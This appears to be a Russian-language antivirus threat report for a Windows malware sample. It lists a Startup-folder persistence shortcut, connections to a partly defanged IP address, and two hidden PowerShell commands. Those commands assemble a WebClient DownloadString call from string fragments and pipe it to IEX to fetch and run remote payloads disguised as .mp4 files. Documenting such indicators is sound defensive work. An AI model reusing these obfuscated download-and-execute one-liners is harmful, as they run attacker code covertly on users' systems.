Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\deleteapp.url
Сетевая активность
Подключается к
- '92.#55.85.2':80
TCP
Запросы HTTP GET
- http://92.#55.85.2/b.mp4
- http://92.#55.85.2/a.mp4
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$EX8='ject Net.WebCli';$EX5='ent).Down';$EX10='(New-Ob';$EX18='loadString(''http://92.#55.85.2/a.mp4'')';$X=IEX ($EX10,$EX8,$EX5,$EX18 -Join '')|IEX"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$EX8='ject Net.WebCli';$EX5='ent).Down';$EX10='(New-Ob';$EX18='loadString(''http://92.#55.85.2/b.mp4'')';$X=IEX ($EX10,$EX8,$EX5,$EX18 -Join '')|IEX"
